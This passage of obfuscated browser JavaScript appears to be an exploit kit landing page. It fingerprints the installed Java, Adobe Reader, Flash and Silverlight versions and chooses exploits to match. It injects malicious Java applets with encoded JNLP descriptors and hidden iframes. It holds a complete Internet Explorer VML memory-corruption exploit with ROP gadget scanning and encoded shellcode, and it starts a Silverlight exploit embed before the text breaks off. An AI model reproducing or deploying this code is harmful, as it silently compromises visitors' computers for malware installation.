  1291.                 if (c = a.getAXO(this.progID)) this.installed = 1;
  1292.                 if (c && this.IsVersionSupported(c, this.mindigit)) {
  1293.                     var d = [].concat(this.mindigit),
  1294.                         e, f = 0;
  1295.                     for (b = 0; b < this.maxdigit.length; b++) {
  1296.                         for (e = 0; 1 < this.maxdigit[b] - this.mindigit[b] && 20 > e;) e++, f++, d[b] = Math.round((this.maxdigit[b] + this.mindigit[b]) / 2), this.IsVersionSupported(c, d) ? this.mindigit[b] = d[b] : this.maxdigit[b] = d[b];
  1297.                         d[b] = this.mindigit[b]
  1298.                     }
  1299.                     this.version = this.format(d);
  1300.                 }
  1301.                 return this
  1302.             }
  1303.         }
  1304.     });
  1305.     var y = {
  1306.         setPluginStatus: function() {
  1307.             var b = this.nav.detected,
  1308.                 c = this.axo.detected,
  1309.                 d = this.axo.version,
  1310.                 e = this.doc.detected,
  1311.                 f = this.doc.version,
  1312.                 d = this.nav.version || d || f || null;
  1313.             this.installed = d ? 1 : 0 < b || 0 < c || 0 < e ? 0 : -0.5 == e ? -0.15 : !a.browser.isIE || a.browser.ActiveXEnabled && !a.browser.ActiveXFilteringEnabled ? -1 : -1.5;
  1314.             this.version = a.formatNum(d);
  1315.         },
  1316.         getVersion: function(b, c) {
  1317.             var d = 0;
  1318.             (!d || a.dbug) && 0 < this.nav.query().detected && (d = 1);
  1319.             (!d || a.dbug) && 0 < this.axo.query().detected && (d = 1);
  1320.             d && !a.dbug || this.doc.query();
  1321.             this.setPluginStatus()
  1322.         },
  1323.         nav: {
  1324.             detected: 0,
  1325.             version: null,
  1326.             mimeType: ["application/pdf", "application/vnd.adobe.pdfxml"],
  1327.             find: "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",
  1328.             plugins: ["Adobe Acrobat", "Adobe Acrobat and Reader Plug-in", "Adobe Reader Plugin"],
  1329.             query: function() {
  1330.                 var b, c = null;
  1331.                 if (this.detected || !a.hasMimeType(this.mimeType)) return this;
  1332.                 this.detected = (b = a.pd.findNavPlugin({
  1333.                     find: this.find,
  1334.                     mimes: this.mimeType,
  1335.                     plugins: this.plugins
  1336.                 })) ? 1 : -1;
  1337.                 b && (c = a.getNum(b.description) || a.getNum(b.name), c = a.getPluginFileVersion(b, c), c || (c = this.attempt3()), c && (this.version = c));
  1338.                 return this
  1339.             },
  1340.             attempt3: function() {
  1341.                 var b = null;
  1342.                 1 == a.OS && (a.hasMimeType("application/vnd.adobe.pdfxml") ? b = "9" : a.hasMimeType("application/vnd.adobe.x-mars") ? b = "8" : a.hasMimeType("application/vnd.adobe.xfdf") && (b = "6"));
  1343.                 return b
  1344.             }
  1345.         },
  1346.         pluginQuery: function(b) {
  1347.             var c = "",
  1348.                 d = null,
  1349.                 e, f;
  1350.             try {
  1351.                 b && (c = b.GetVersions())
  1352.             } catch (g) {}
  1353.             if (c && a.isString(c))
  1354.                 for (b = /=\s*([\d\.]+)/g, e = 0; 30 > e; e++)
  1355.                     if (b.test(c)) {
  1356.                         if (f = a.formatNum(RegExp.$1), !d || 0 < a.compareNums(f > d)) d = f
  1357.                     } else break;
  1358.             return d
  1359.         },
  1360.         axo: {
  1361.             detected: 0,
  1362.             version: null,
  1363.             progID: ["AcroPDF.PDF", "AcroPDF.PDF.1", "PDF.PdfCtrl", "PDF.PdfCtrl.5", "PDF.PdfCtrl.1"],
  1364.             query: function() {
  1365.                 var b = y,
  1366.                     c, d = null,
  1367.                     e;
  1368.                 if (this.detected) return this;
  1369.                 this.detected = -1;
  1370.                 for (e = 0; e < this.progID.length; e++)
  1371.                     if (c = a.getAXO(this.progID[e]))
  1372.                         if (this.detected = 1, d = b.pluginQuery(c), !a.dbug && d) break;
  1373.                 d && (this.version = d);
  1374.                 return this
  1375.             }
  1376.         },
  1377.         doc: {
  1378.             detected: 0,
  1379.             version: null,
  1380.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  1381.             classID_dummy: "clsid:CA8A9780-280D-11CF-A24D-BA9876543210",
  1382.             DummySpanTagHTML: 0,
  1383.             HTML: 0,
  1384.             DummyObjTagHTML1: 0,
  1385.             DummyObjTagHTML2: 0,
  1386.             isDisabled: function() {
  1387.                 var b = 0;
  1388.                 this.HTML ? b = 1 : a.dbug || a.DOM.isEnabled.objectTagUsingActiveX() || (b = 1);
  1389.                 return b
  1390.             },
  1391.             query: function() {
  1392.                 var b = y,
  1393.                     c = null,
  1394.                     c = a.DOM.altHTML,
  1395.                     d;
  1396.                 if (this.isDisabled()) return this;
  1397.                 this.DummySpanTagHTML || (this.DummySpanTagHTML = a.DOM.insert("", [], [], c, b, 1));
  1398.                 this.HTML || (this.HTML = a.DOM.insert("object", ["classid", this.classID], [], c, b, 1));
  1399.                 this.DummyObjTagHTML2 || (this.DummyObjTagHTML2 = a.DOM.insert("object", ["classid", this.classID_dummy], [], c, b, 1));
  1400.                 d = a.DOM.getTagStatus(this.HTML, this.DummySpanTagHTML, this.DummyObjTagHTML1, this.DummyObjTagHTML2, null, 1);
  1401.                 c = b.pluginQuery(this.HTML.obj());
  1402.                 this.detected = 0 < d || c ? 1 : -0.1 == d || -0.5 == d ? -0.5 : -1;
  1403.                 this.version = c ? c : null;
  1404.                 return this
  1405.             }
  1406.         }
  1407.     };
  1408.     a.addPlugin("adobereader", y);
  1409. })();
  1410. j_version = PluginDetect.getVersion('Java');
  1411. p_version = PluginDetect.getVersion('AdobeReader');
  1412. f_version = PluginDetect.getVersion('Flash');
  1413. s_version = PluginDetect.getVersion('Silverlight');
  1414. if (j_version != null) {
  1415.     j_version = j_version.split(",");
  1416. } else {
  1417.     j_version = [0, 0, 0, 0];
  1418. }
  1419. if (p_version != null) {
  1420.     p_version = p_version.split(",");
  1421. } else {
  1422.     p_version = [0, 0, 0, 0];
  1423. }
  1424. if (f_version != null) {
  1425.     f_version = f_version.split(",");
  1426. } else {
  1427.     f_version = [0, 0, 0, 0];
  1428. }
  1429. if (s_version != null) {
  1430.     s_version = s_version.split(",");
  1431. } else {
  1432.     s_version = [0, 0, 0, 0];
  1433. }
  1434.  
  1435. function fg(url, width, height) {
  1436.     var s1 = document.createElement("if53ra79me".replace(/[0-9]/g, ""));
  1437.     s1["s17etA23ttribute".replace(/[0-9]/g, "")]("sr16c".replace(/[0-9]/g, ""), url);
  1438.     s1["se88tAt21tribute".replace(/[0-9]/g, "")]("w37idt12h".replace(/[0-9]/g, ""), width);
  1439.     s1["s107etAttr29ibute".replace(/[0-9]/g, "")]("he24igh79t".replace(/[0-9]/g, ""), height);
  1440.     document.body.appendChild(s1);
  1441. }
  1442.  
  1443. function ffbgrnth5we(a) {
  1444.     document.write(a);
  1445. }
  1446.  
  1447. function asfwe(aa) {
  1448.     if (aa == 1) return ffbgrnth5we('<applet code="Mikado.class" archive="/d6e0296136a4hfxy5/1412750520"><param name="ldcrlio" value="AhhjyHHunhpOhp0c8uo8fnHY4plwD4xA5OsrHxGxw3rlrwlHw"><param name="t" value="0"><param name="tt" value="0"></applet>');
  1449.     if (aa == 2) return ffbgrnth5we('<applet><param name="jnlp_href" value="Mikado.jnlp" /><param name="jnlp_embedded" value="PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9nb29nbGUuY29tIiBocmVmPSJhcHBsZXRfc2VjdXJpdHlfYnlwYXNzLmpubHAiPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPlkgYXNmIElJPC90aXRsZT4NCiAgICA8dmVuZG9yPmZkZmVncndlPC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogIA0KICAgPHJlc291cmNlcz4NCiAgICAgICAgPGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iIi8+DQogICAgICAgIDxqYXIgaHJlZj0iL2Q2ZTAyOTYxMzZhNGhmeHk1LzE0MTI3NTA1MjAiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbmFtZT0iQUZ1Y2sgT2ZmIiBoZWlnaHQ9IjEiICAgd2lkdGg9IjEiIG1haW4tY2xhc3M9Ik1pa2FkbyI+DQogICAgIDxwYXJhbSB2YWx1ZT0idHJ1ZSIgbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgLz4NCg0KICA8L2FwcGxldC1kZXNjPg0KPC9qbmxwPg==" /><param name="ldcrlio" value="AhhjyHHunhpOhp0c8uo8fnHY4plwD4xA5OsrHxGxw3rlrwlHw"><param name="t" value="0"><param name="tt" value="0"></applet>');
  1450.     if (aa == 3) return ffbgrnth5we('<applet>     <param name="jnlp_href" value="dfweqdasdfeqw.jnlp" />     <param name="jnlp_embedded" value="ICA8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2dvb2dsZS5jb20iIGhyZWY9IiI+DQogICAgICAgICAgICA8aW5mb3JtYXRpb24+DQogICAgICAgICAgICA8dGl0bGU+ZGZ3ZWRhZmQ8L3RpdGxlPg0KICAgICAgICAgICAgPHZlbmRvcj5lZnZyd2VmcTwvdmVuZG9yPg0KICAgICAgICAgICAgPC9pbmZvcm1hdGlvbj4NCiAgICAgICAgICAgIDxyZXNvdXJjZXM+DQogICAgICAgICAgICA8ajJzZSB2ZXJzaW9uPSIxLjcrIiBocmVmPSIiIC8+DQogICAgICAgICAgICA8amFyIGhyZWY9Ii9kNmUwMjk2MTM2YTRoZnh5NS8xNDEyNzUwNTIwIiBtYWluPSJ0cnVlIiAvPg0KICAgICAgICAgICAgPC9yZXNvdXJjZXM+DQogICAgICAgICAgICA8amZ4OmphdmFmeC1kZXNjIG1haW4tY2xhc3M9IlJhZHZhIiBwcmVsb2FkZXItY2xhc3M9Ik1pa2FkbyIgbmFtZT0iQXBwIi8+DQogICAgICAgICAgICA8YXBwbGV0LWRlc2MgbmFtZT0iQXNkZiIgbWFpbi1jbGFzcz0iVmFzZGEiIHdpZHRoPSIzIiBoZWlnaHQ9IjMiPg0KICAgICAgICAgICAgPC9hcHBsZXQtZGVzYz48L2pubHA+" /> <param name="javafx_version" value="2.0+" /> <param name="ldcrlio" value="AhhjyHHunhpOhp0c8uo8fnHY4plwD4xA5OsrHxGxw3rlrwlHw" /> <param name="t" value="0" /> <param name="tt" value="0" />   </applet>');
  1451. }
  1452. java_enable = 0;
  1453. java_run = 0;
  1454. if (j_version[0] > 0 && j_version[1] < 7) {
  1455.     java_enable = 1;
  1456.     java_run = 1;
  1457. }
  1458. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] <= 17) {
  1459.     java_enable = 1;
  1460.     java_run = 2;
  1461. }
  1462. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] == 21) {
  1463.     java_enable = 1;
  1464.     java_run = 3;
  1465. }
  1466.  
  1467. function CheckVersion11(f_version) {
  1468.     if (f_version[0] != 11) return false;
  1469.     if (f_version[1] > 9) return false;
  1470.     if (f_version[1] == 9 && f_version[2] > 900) return false;
  1471.     if (f_version[1] == 9 && f_version[2] == 900 && f_version[3] > 170) return false;
  1472.     return true;
  1473. }
  1474.  
  1475. function CheckVersion12(f_version) {
  1476.     if (f_version[0] != "12") return false;
  1477.     return true;
  1478. }
  1479.  
  1480. function CheckVersion13(f_version) {
  1481.     if (f_version[0] != 13) return false;
  1482.     if (f_version[1] > 0) return false;
  1483.     if (f_version[2] > 0) return false;
  1484.     if (f_version[0] == 13 && f_version[1] == 0 && f_version[2] == 0 && f_version[3] > 206) return false;
  1485.     return true;
  1486. }
  1487.  
  1488. function msie_run() {
  1489.     try {
  1490.         wondow.docume() = 'urn:schemas-microsoft-com:vml';
  1491.     } catch (e) {
  1492.         try {
  1493.             document['namespaces'].add('cmJgjXu', 'urn:schemas-microsoft-com:vml', '#default#VML');
  1494.         } catch (e) {}
  1495.     }
  1496.     document['createStyleSheet']()['cssText'] = 'cmJgjXu:*{behavior:url(#default#VML);display:inline-block;}';
  1497.     var v1 = "<cmJgjXu:oval><cmJgjXu:stroke id='XQIt4jdfP'></cmJgjXu:stroke></cmJgjXu:oval>";
  1498.     var v2 = "<cmJgjXu:oval><cmJgjXu:stroke id='U8bMG'></cmJgjXu:stroke></cmJgjXu:oval>";
  1499.     document.body.insertAdjacentHTML('afterbegin', v1);
  1500.     document.body.insertAdjacentHTML('afterbegin', v2);
  1501.     aha = [];
  1502.     sec = [];
  1503.     jay = [];
  1504.     bin = [];
  1505.     ewe = null;
  1506.     pen = null;
  1507.     bel = null;
  1508.     gum = null;
  1509.     toy = null;
  1510.     met = null;
  1511.     lye = null;
  1512.     mim = null;
  1513.     vim = null;
  1514.     mun = null;
  1515.     jet = null;
  1516.     duo = null;
  1517.     lib = null;
  1518.     cat = null;
  1519.     gee = null;
  1520.     aff = null;
  1521.     aas = null;
  1522.  
  1523.     function bam() {
  1524.         var m, g, d, j, l;
  1525.         try {
  1526.             j = navigator.userAgent.toLowerCase();
  1527.             m = /MSIE[\/\s]\d+/i.test(j);
  1528.             d = /WOW64;/i.test(j);
  1529.             g = /Win64;/i.test(j);
  1530.             l = /Trident\/(\d)/i.test(j) ? parseInt(RegExp.$1) : null;
  1531.             if (!g && m && l && (l == 6 || l == 5 || l == 4)) {
  1532.                 pen = l;
  1533.                 bel = d;
  1534.                 return true
  1535.             }
  1536.         } catch (exc) {}
  1537.         return false
  1538.     }
  1539.  
  1540.     function mid(m, v, d) {
  1541.         var u;
  1542.         if (m.length < v.length) {
  1543.             return -1
  1544.         }
  1545.         if (d) {
  1546.             if (m.substr(m.charCodeAt(0) == 0 ? 1 : 0, v.length) == v) {
  1547.                 return 0
  1548.             }
  1549.         } else {
  1550.             u = m.length - v.length;
  1551.             if (m.charCodeAt(m.length - 1) == 0) {
  1552.                 u++
  1553.             }
  1554.             if (m.substr(u, v.length) == v) {
  1555.                 return u
  1556.             }
  1557.         }
  1558.         return -1
  1559.     }
  1560.  
  1561.     function rap(j) {
  1562.         var g, m, t;
  1563.         t = '';
  1564.         for (m = 0; m < j.length; m++) {
  1565.             g = j.charCodeAt(m);
  1566.             t += String.fromCharCode(g & 0xff);
  1567.             t += String.fromCharCode((g & 0xff00) >> 8)
  1568.         }
  1569.         return t
  1570.     }
  1571.  
  1572.     function tet(p) {
  1573.         var r, j;
  1574.         r = '';
  1575.         if (p.length % 2) {
  1576.             p += unescape('%00')
  1577.         }
  1578.         for (j = 0; j < p.length; j += 2) {
  1579.             r += '%u';
  1580.             r += ope(p.charCodeAt(j + 1), 2);
  1581.             r += ope(p.charCodeAt(j), 2)
  1582.         }
  1583.         return r
  1584.     }
  1585.  
  1586.     function waw(q) {
  1587.         return rap(unescape(owl(q)))
  1588.     }
  1589.  
  1590.     function owl(v) {
  1591.         var j, k;
  1592.         k = v & 0xFFFF;
  1593.         j = (v >> 16) & 0xFFFF;
  1594.         return '%u' + ope(k, 4) + '%u' + ope(j, 4)
  1595.     }
  1596.  
  1597.     function tee(f) {
  1598.         gum.dashstyle.array.item(0x44) = f;
  1599.         return sec[toy].marginLeft
  1600.     }
  1601.  
  1602.     function ope(u, j) {
  1603.         var k;
  1604.         k = u.toString(16);
  1605.         while (k.length < j) {
  1606.             k = '0' + k
  1607.         }
  1608.         return k
  1609.     }
  1610.  
  1611.     function gal(u) {
  1612.         var y;
  1613.         y = '';
  1614.         if (u.length > 1) {
  1615.             y = ope(u.charCodeAt(1), 4) + ope(u.charCodeAt(0), 4)
  1616.         } else {
  1617.             y = ope(u.charCodeAt(0), 4)
  1618.         }
  1619.         return parseInt(y, 16)
  1620.     }
  1621.  
  1622.     function gan(t) {
  1623.         var h, b, a;
  1624.         for (a = 0; a < 3; a++) {
  1625.             h = tee(t + a);
  1626.             if (h) {
  1627.                 b = gal(h);
  1628.                 b <<= a * 8;
  1629.                 return b
  1630.             }
  1631.         }
  1632.         return 0
  1633.     }
  1634.  
  1635.     function hen() {
  1636.         var j, q, z, r;
  1637.         r = gan(0x7ffe0268) & 0x0f;
  1638.         q = r ? gan(0x7ffe0264) : null;
  1639.         z = gan(0x7ffe026c);
  1640.         j = gan(0x7ffe0270);
  1641.         if (z == 5 && (j == 1 || j == 2) && q == 1) {
  1642.             return 1
  1643.         } else if (z == 6 && j == 0 && q == 1) {
  1644.             return 2
  1645.         } else if (z == 6 && j == 1 && q == 1) {
  1646.             return 3
  1647.         } else {
  1648.             return 0
  1649.         }
  1650.     }
  1651.  
  1652.     function gor() {
  1653.         return bel ? gan(0x7ffe0340) : gan(0x7ffe0300)
  1654.     }
  1655.  
  1656.     function yup(l) {
  1657.         var n, v, o, i;
  1658.         i = null;
  1659.         if (l) {
  1660.             l &= 0xffff0000;
  1661.             while (1) {
  1662.                 if ((gan(l) & 0xffff) == 0x5a4d) {
  1663.                     i = l;
  1664.                     break
  1665.                 }
  1666.                 l -= 0x10000
  1667.             }
  1668.             if (i) {
  1669.                 n = i + gan(i + 0x3c);
  1670.                 if (gan(n) == 0x4550) {
  1671.                     v = gan(n + 0x1c);
  1672.                     o = gan(n + 0x2c);
  1673.                     if (v && o) {
  1674.                         return {
  1675.                             a: i + o,
  1676.                             b: i + o + v
  1677.                         }
  1678.                     }
  1679.                 }
  1680.             }
  1681.         }
  1682.         return null
  1683.     }
  1684.  
  1685.     function sow() {
  1686.         var p, u, p, d, p;
  1687.         for (p = 0; p < 0x400; p++) {
  1688.             aha[p] = document.createElement('cmJgjXu:shape');
  1689.             document.body.appendChild(aha[p])
  1690.         }
  1691.         gum = document.getElementById('XQIt4jdfP');
  1692.         for (p = 0; p < 0x400; p++) {
  1693.             sec[p] = aha[p]._vgRuntimeStyle
  1694.         }
  1695.         for (p = 0; p < 0x400; p++) {
  1696.             sec[p].rotation;
  1697.             if (p == 0x300) {
  1698.                 gum.dashstyle = '1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44'
  1699.             }
  1700.         }
  1701.         lye = gum.dashstyle.array.length;
  1702.         try {
  1703.             gum.dashstyle.array.length = 0 - 1
  1704.         } catch (exc) {
  1705.             return false
  1706.         }
  1707.         for (p = 0; p < 0x400; p++) {
  1708.             sec[p].marginLeft = 'a';
  1709.             d = gum.dashstyle.array.item(0x44);
  1710.             if (d > 0) {
  1711.                 met = d;
  1712.                 toy = p;
  1713.                 return true
  1714.             }
  1715.         }
  1716.         return false
  1717.     }
  1718.  
  1719.     function tat() {
  1720.         if (gum) {
  1721.             if (met) {
  1722.                 gum.dashstyle.array.item(0x44) = met
  1723.             }
  1724.             gum.dashstyle.array.length = lye
  1725.         }
  1726.     }
  1727.  
  1728.     function opt() {
  1729.         var g, s, a, n, p, t, m, b, x, h, w, v, k, j, z, l, c, f, y, i, r, u, o;
  1730.         m = hen();
  1731.         if (m == 0) {
  1732.             return
  1733.         }
  1734.         j = gor();
  1735.         if (!j) {
  1736.             return
  1737.         }
  1738.         l = yup(j);
  1739.         if (!l) {
  1740.             return
  1741.         }
  1742.         n = unescape('%94%c3');
  1743.         c = unescape('%5a%c3');
  1744.         o = unescape('%ff%06%c3');
  1745.         r = unescape('%ff%07%c3');
  1746.         s = unescape('%5e%c3');
  1747.         u = unescape('%5f%c3');
  1748.         y = null;
  1749.         z = null;
  1750.         if (bel) {
  1751.             y = unescape('%b8%4d');
  1752.             z = unescape('%33%c9%8d%54%24%04%64%ff%15%c0')
  1753.         } else {
  1754.             if (m == 1) {
  1755.                 y = unescape('%b8%89')
  1756.             } else if (m == 2) {
  1757.                 y = unescape('%b8%d2')
  1758.             } else if (m == 3) {
  1759.                 y = unescape('%b8%d7')
  1760.             }
  1761.             z = unescape('%ba%00%03%fe%7f%ff%12%c2%14')
  1762.         }
  1763.         b = null;
  1764.         h = null;
  1765.         t = null;
  1766.         f = null;
  1767.         v = null;
  1768.         x = l.a;
  1769.         i = l.b;
  1770.         while (x < i) {
  1771.             a = tee(x);
  1772.             if (a) {
  1773.                 p = null;
  1774.                 k = rap(a);
  1775.                 if (!cat && (v || (p = mid(k, y, false)) != -1)) {
  1776.                     if (!v) {
  1777.                         v = x + p
  1778.                     } else if (mid(k, z, true) != -1) {
  1779.                         cat = v
  1780.                     } else {
  1781.                         v = null
  1782.                     }
  1783.                 }
  1784.                 if (!duo && (p = k.indexOf(n)) != -1) {
  1785.                     duo = x + p
  1786.                 }
  1787.                 if (!lib && (p = k.indexOf(c)) != -1) {
  1788.                     lib = x + p
  1789.                 }
  1790.                 g = (b && t);
  1791.                 w = (h && f);
  1792.                 if (!g) {
  1793.                     if (!b && (p = k.indexOf(o)) != -1) {
  1794.                         b = x + p
  1795.                     }
  1796.                     if (!t && (p = k.indexOf(s)) != -1) {
  1797.                         t = x + p
  1798.                     }
  1799.                 }
  1800.                 if (!w) {
  1801.                     if (!h && (p = k.indexOf(r)) != -1) {
  1802.                         h = x + p
  1803.                     }
  1804.                     if (!f && (p = k.indexOf(u)) != -1) {
  1805.                         f = x + p
  1806.                     }
  1807.                 }
  1808.                 if (duo && lib && cat && (g || w)) {
  1809.                     break
  1810.                 }
  1811.                 x += k.length
  1812.             }
  1813.             x += 2
  1814.         }
  1815.         if (g || w) {
  1816.             if (g) {
  1817.                 gee = b;
  1818.                 aff = t
  1819.             } else {
  1820.                 gee = h;
  1821.                 aff = f
  1822.             }
  1823.         }
  1824.         return (duo && lib && cat && gee && aff)
  1825.     }
  1826.  
  1827.     function sel() {
  1828.         var u, n, o, w;
  1829.         mim = document.getElementById('U8bMG');
  1830.         for (w = 0; w < 0x400; w++) {
  1831.             jay[w] = aha[w]._anchorRect;
  1832.             if (w == 0x300) {
  1833.                 mim.dashstyle = '1 2 3 4'
  1834.             }
  1835.         }
  1836.         u = mim.dashstyle.array.length;
  1837.         try {
  1838.             mim.dashstyle.array.length = 0 - 1
  1839.         } catch (exc) {
  1840.             return null
  1841.         }
  1842.         n = mim.dashstyle.array.item(6);
  1843.         o = mim.dashstyle.array.item(7);
  1844.         if (n > 0 && o > 0 && mim.dashstyle.array.item(8) == 1) {
  1845.             vim = n;
  1846.             mun = o;
  1847.             jet = u;
  1848.             return true
  1849.         }
  1850.         mim.dashstyle.array.length = length;
  1851.         return false
  1852.     }
  1853.  
  1854.     function mor() {
  1855.         if (mim && mun && jet) {
  1856.             mim.dashstyle.array.item(7) = mun;
  1857.             mim.dashstyle.array.length = jet
  1858.         }
  1859.     }
  1860.  
  1861.     function hun() {
  1862.         var a, g, x, q, u, t, i;
  1863.         x = yup(vim);
  1864.         if (!x) {
  1865.             return false
  1866.         }
  1867.         a = unescape('%8b%01%ff%50%04');
  1868.         i = x.a;
  1869.         g = x.b;
  1870.         while (i < g) {
  1871.             q = tee(i);
  1872.             if (q) {
  1873.                 u = null;
  1874.                 t = rap(q);
  1875.                 if ((u = t.indexOf(a)) != -1) {
  1876.                     aas = i + u;
  1877.                     return true
  1878.                 }
  1879.                 i += t.length
  1880.             }
  1881.             i += 2
  1882.         }
  1883.         return false
  1884.     }
  1885.  
  1886.     function kaf() {
  1887.         var l;
  1888.         l = 'AB';
  1889.         while (l.length < 0x40000) {
  1890.             l += l
  1891.         }
  1892.         return l.substring(0, 0x3FFED) + 'XXX'
  1893.     }
  1894.  
  1895.     function bug() {
  1896.         var d, v, c;
  1897.         c = pen == 6 ? '%8d%76%04' : '%90%90%90';
  1898.         v = pen == 6 ? '%f8' : '%fc';
  1899.         d = pen == 6 ? '%f0' : '%f4';
  1900.         return unescape('%eb%1f%60%8b%44%24%20%ff%d0%61%8b%75%08' + c + '%c7%06' + waw(mun) + '%8d%65' + v + '%8b%45' + d + '%83%e8%08%ff%e0%e8%dc%ff%ff%ff')
  1901.     }
  1902.  
  1903.     function peh() {
  1904.         var n, c, s, v, a, j, h, q;
  1905.         gum.dashstyle.array.item(0x44) = met;
  1906.         a = kaf();
  1907.         v = bug();
  1908.         n = tet(ewe);
  1909.         for (q = 0; q < 7; q++) {
  1910.             sec[toy].marginLeft = a;
  1911.             h = met = gum.dashstyle.array.item(0x44);
  1912.             j = h + a.length * 2;
  1913.             s = unescape(owl(j + 4) + owl(j + 0x0c) + owl(aas) + owl(lib) + owl(duo) + owl(aff) + owl(j + 0x41) + owl(gee) + owl(aff) + owl(j + 0x4e) + owl(gee) + owl(cat) + owl(j + 0x54) + owl(0xffffffff) + owl(j + 0x48) + owl(j + 0x4c) + owl(0xffffff40) + owl(j + 0x4F) + owl(j + 0x54) + owl(0xffff0400) + owl(0x41414141) + tet(v) + n);
  1914.             sec[toy].marginLeft += s;
  1915.             c = gum.dashstyle.array.item(0x44);
  1916.             if (h == c) {
  1917.                 return j
  1918.             }
  1919.         }
  1920.         return null
  1921.     }
  1922.  
  1923.     function ty(s) {
  1924.         b = '';
  1925.         for (i = 0; i < (s.length / 2); i++) {
  1926.             b += String.fromCharCode('0x' + s.substr(i * 2, 2));
  1927.         }
  1928.         return b;
  1929.     }
  1930.  
  1931.     function man() {
  1932.         var h, q;
  1933.         if (!bam()) {
  1934.             return
  1935.         }
  1936.         if (!sow()) {
  1937.             return
  1938.         }
  1939.         if (!opt()) {
  1940.             return
  1941.         }
  1942.         if (!sel()) {
  1943.             return
  1944.         }
  1945.         if (!hun()) {
  1946.             return
  1947.         }
  1948.         q = peh();
  1949.         if (!q) {
  1950.             return
  1951.         }
  1952.         mim.dashstyle.array.item(7) = q;
  1953.         for (h = 0; h < 0x400; h++) {
  1954.             bin[h] = document.createElement('div');
  1955.             bin[h].classname = jay[h]
  1956.         }
  1957.         return
  1958.     }
  1959.  
  1960.     function nib(d) {
  1961.         ewe = d;
  1962.         man();
  1963.         tat();
  1964.         mor();
  1965.         return
  1966.     };
  1967.     jo = ty("60EB1358B97E030000498034081C85C975F7FFD061C3E8E8FFFFFFF5171F1C1C424995F97473721C1C74696E70714874925212F0740BD63772F4481E1C1C45457479F353194CF48C1E1C1C4C761A761C74071AD41174FA266B32F42F1E1C1C2DC7AB0C765C4F4F761C7448D6B38D740BD63772F4061E1C1C8B747D9DC5D3740BD63772F4161E1C1C201A600C4F4BF4A11C1C1C9CE03C6118761DF71E761C4A4BF4991C1C1C4A91685B1AF4731C1C1C99DC694A76174555684C4D9F61E41D68064AF48F1D1C1C99DC69062DDC78975C04975C2821F81E1C1C69C74AF4CE1C1C1C99DC68CD45422DDC5A245AE369E6241A69B04B5B5B7A251B69E5DB1B271C2D1C916B1A43F4091C1C1CD5DF761C76E2748473532174EEC768B1F4681D1C1C2DD54D4D4F4A4B4DE349E0DF4995F9761C74391C4F1C95FCE369104CE369147462569FCB74EEC768B1F45A1D1C1CD5DE141C4995F94A4BA26BF7173D4C48761476E37413BB02454AF43B1D1C1C468DFF209761144C48E369104B76054E744672C7C74AF4101D1C1C8D44FF3DE32B74D1906BED4AF4E71C1C1C13AA14554DE32B742E621A3C4AF4F51C1C1C97148D4342D5DE141C4A4B4995F997690C4A5A7A9F221C69E591621FF40D1C1C1C337F3C6F687D6E683C3E3E3C3E396F3E1C4BF455E3E3E391685B1E4B4A7462569FCB74EEC768B1F4801C1C1C76204535D09161D84D4B2DDCEFB643931B766F74721C7D1C746E1C691C957B10741DE9097E741AFEB12EF4711C1C1C955B14F40C1C1C1C7F1C711C781C321C791C641C791C1C1C935B0C956B084B74C1C432E074E66689F8F4231C1C1CD54342DE181C4995F976484535D04B9161B04B2DDCEFB64391530C7658931D4B4D4C4C4C4C4C4C4CE369147494E2AF0A740BD63772F4191C1C1C43D5DE181C45F4151C1C1C4CF4211C1C1C4DE3FC7C2DDC78974C2C974E10974E08976E342DE32DDCB05A99DC6811207D601E303CDDD3111DDBF7F727603838975E0C970E69C7955838007DDE181C7C97703838975920974819641DF697560497463C1DF7FF28559728971DF22DE32DDCE0B098DC681BDDD3111DDBF7E82760383469FD9746381DF77A9710579746001DF79718971DF4955838007DDE141CF4ECE0E3E37468686C2633337F6968796468797775327F73326A6933782A792C2E252A2D747A646529332D282D2E2B292C292E2C332940642C2C2A2924292829252C242C252C2B2C292928292D2978292A297E2C2D2C7E2C2F292D2C2C292F292F297F2C292C29272D272A1C1C1C000000");
  1968.     try {
  1969.         document.body++
  1970.     } catch (exc) {
  1971.         nib(jo)
  1972.     }
  1973. }
  1974.  
  1975. function silver_run() {
  1976.     ffbgrnth5we('<form id="form1" runat="server" style="height: 100%"><div id="silverlightControlHost"><object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%"><param name="source" value="/d6e02961fe30hfxy5/1412750520" /><param name="initParams" 